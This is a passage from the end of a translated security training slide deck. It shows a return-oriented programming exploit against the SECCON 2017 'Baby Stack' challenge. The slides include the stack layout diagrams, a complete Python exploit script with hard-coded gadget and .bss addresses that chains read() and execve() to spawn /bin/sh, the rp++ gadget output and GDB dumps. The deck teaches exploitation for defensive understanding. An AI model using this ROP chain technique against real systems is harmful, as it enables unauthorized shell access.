    ◦ 1. “/bin/sh” and ”-p” etc. are not in memory so we load the strings required for attack into memory ◦ read(0, .bss segment address, 100) ▪ 0 = standard input ▪ .bss = ASLR prevents randomized address ▪ 100 = the input limit ◦ 2. execve is used to called the system call ◦ execve(“/bin/sh”, [“/bin/sh”, “-p”], 0) ▪ “/bin/sh” ▪ [“/bin/sh”, “-p”] ▪ 0 • Call the string into the fixed memory address and hand this address to execve 0xffffffffffffffff 0x00 Virtual Memory Machine Code(.text Segment) .rodata Segment .bss Segment Heap segment ↓ Stack Segment ↑ main() 0101010101 .data Segment * Only major segments included “/bin/sh\0” “-p\0”, array... write
  67. Advanced How to attack - ROP • If we change

    the stack like this we can carry out an attack through read() and execve() calls • We take over the return instruction from the executable code and run arbitrary code instead Return Address buf[] Saved RBP Arguments Return values main() original Stack layout 000000000000000000000000 000000000000 &syscall.Syscall pointer of “add rsp, 32; ret” arg1: read (0) ret1 ret2 .text segment (syscall.Syscall func) … syscall … ret (? func) ... add rsp, 0x38(56) ret ... arg2: standard input (0) arg3: .bss address arg4: 0x100 dummy(0\0\0\0\0\0\0\0) arg1: execve (59) arg2: pointer of “/bin/sh” arg3: pointer of [“/bin/sh”, “-p”] arg4: 0 .bss segment “/bin/sh\0” “-p\0\0\0\0\0\0” 64bit pointer of “/bin/sh” pointer of “-p” null pointer (\0\0\0\0\0\0\0\0) Array Adjust Stack Address ret3 Overwritten by read() Attack flow 1. read() syscall 2. add rsp and adjust stack 3. execve() syscall 64bit dummy(return value1) dummy(return value2) dummy(return value3) &syscall.Syscall 56byte
  68. Advanced Exploit addr_bss = 0x564200 shellcode = "\0" * 224

    shellcode += struct.pack("<Q", 0x481E40) # Return Pointer(1) -> syscall.Syscall shellcode += struct.pack("<Q", 0x0040197f) # Return Pointer(2) -> (add rsp, 0x38 ; ret) shellcode += struct.pack("<Q", 0) # Arg1 of Syscall: 0 (read) shellcode += struct.pack("<Q", 0) # Arg2 of Syscall: 0 (stdin) shellcode += struct.pack("<Q", addr_bss) # Arg3 of Syscall: .bss shellcode += struct.pack("<Q", 0x100) # Arg4 of Syscall shellcode += struct.pack("<Q", 0) # dummy shellcode += struct.pack("<Q", 0) # dummy shellcode += struct.pack("<Q", 0) # dummy shellcode += struct.pack("<Q", 0x481E40) # Return Pointer(3) -> syscall.Syscall shellcode += struct.pack("<Q", 0) # Return Pointer(4) -> dummy shellcode += struct.pack("<Q", 59) # Arg1 of Syscall: (execve) shellcode += struct.pack("<Q", addr_bss) # Arg2 of Syscall: shellcode += struct.pack("<Q", addr_bss + 0x10) # Arg3 of Syscall: shellcode += struct.pack("<Q", 0) # Arg4 of Syscall print(shellcode) sys.stdout.flush() time.sleep(1) shellstr = "/bin/sh\0" shellstr += "-p\0\0\0\0\0\0" shellstr += struct.pack("<Q", addr_bss) # Arg3 of Syscall: .bss shellstr += struct.pack("<Q", addr_bss + 0x08) # Arg3 of Syscall: .bss shellstr += struct.pack("<Q", 0) # Arg3 of Syscall: .bss print(shellstr) sys.stdout.flush() exploit_print.py main() func内のscan()向け 呼び出されたread syscall向け Attack flow 1. read() syscall 2. add rsp to adjust stack address 3. execve() syscall
  69. Advanced Exercise - GDB Demo Link GDB with Stack Layout

  70. Advanced Exercise • Hands-on ◦ Try yourself using the materials

    below ◦ https://github.com/rung/training-exploit-fundamentals/tree/master/exercise3 • Understanding with GDB (video on next page) ◦ With the command below you can even automate the ret of the main() function ▪ gdb bof -x gdb-autocommand • inout (e.g. writing to /bin/sh) can also be carried out through the read() system call ◦ Pay attention to the following ▪ After the return pointer is overwritten, the controls are moved to syscall.Syscall with the ret instruction ▪ ret is used to hand over another function, ultimately allowing the execve system call to be called
  71. Advanced (Reference) ROP (Return-Oriented Programming) • ROP (Return-Oriented Programming) ◦

    This way of using the return instruction to run arbitrary code is known as ROP ◦ We can run arbitrary code using the ”****; ret” instruction contained in the executable code ▪ We will use the instruction ‘add rsp, 0x38 (56); ret’ to alter the Stack in this example • ROP Gadget ◦ The part of the executable code that contains the machine code for ‘****; ret’ is known as the ROP Gadget ◦ A tool called rp++, can list the executable commands contained in the ROP Gadget # rp-lin-x64 -f baby_stack -r 1 --unique … 0x00403561: add rsp, 0x30 ; ret ; (199 found) 0x0040197f: add rsp, 0x38 ; ret ; (111 found) 0x00402ae0: add rsp, 0x40 ; ret ; (114 found) … address
  72. Advanced (Reference) .bss segment address • Carry out overwrite of

    the .bss segment address using read system call ◦ How to find the .bss address ▪ (If it is not PIE the address will not be randomized) ▪ Look at the bss address memory state with GDB # readelf -W -e baby_stack … Section Headers: [Nr] Name Type Address Off Size ES Flg Lk Inf Al ... [11] .bss NOBITS 0000000000564200 164200 01b950 00 WA 0 0 32 ... gdb-peda$ hexdump 0x564200 48 0x00564200 : 2f 62 69 6e 2f 73 68 00 2d 70 00 00 00 00 00 00 /bin/sh.-p...... 0x00564210 : 00 42 56 00 00 00 00 00 08 42 56 00 00 00 00 00 .BV......BV..... 0x00564220 : 00 00 00 00 00 00 00 00 0a 00 00 00 00 00 00 00 ................
  73. Summary • Today we saw everything from a computer’s work,

    to attack types, to mitigation methods for attacks ◦ 1. Introduction ▪ Explanation of how computers operate ◦ 2. Stack Buffer Overflow ▪ Stack Buffer Overflow hands-on ◦ 3. Advanced ▪ Attack mitigation technology and how to bypass it • The game of cat and mouse between attack and defense never ends ▪ New vulnerabilities are regularly released ▪ By understanding how computers work and the attacks flows used, we can understand which types of vulnerabilities are targeted by what kind of attack in…. • Our own apps • The libraries within our own apps • The containers we manage on our applications • Enjoy hacking :)
  74. Thanks!

  75. References • Reference Materials ◦ Computer Organization and Design: David

    A. Patterson, John L. Hennessy ◦ Hacking: The Art of Exploitation: Jon Erickson ◦ [試して理解]Linuxのしくみ ~実験と図解で学ぶ OSとハードウェアの基礎知識 Satoru Takeuchi • Attack Reference Websites ◦ 2. Stack Buffer Overflow ▪ 『x64でスタックバッファオーバーフローをやってみる 』 Momoiro Technology ◦ 3. Advanced ▪ 『SECCON 2017 Online Exploit Challenges (Baby Stack)』 • Main Tools Used ◦ IDA Pro Free Disassembler ◦ gdb-peda GDB Extension (slide) ◦ checksec Check security properties of executables ◦ Radare2 Reverse engineering framework and command-line toolset (including rasm2) ◦ rp++ Find ROP gadgets
  76. Special Thanks • Reviewers ◦ kcz (@kcz146) • Translator ◦

    Jason Fernandes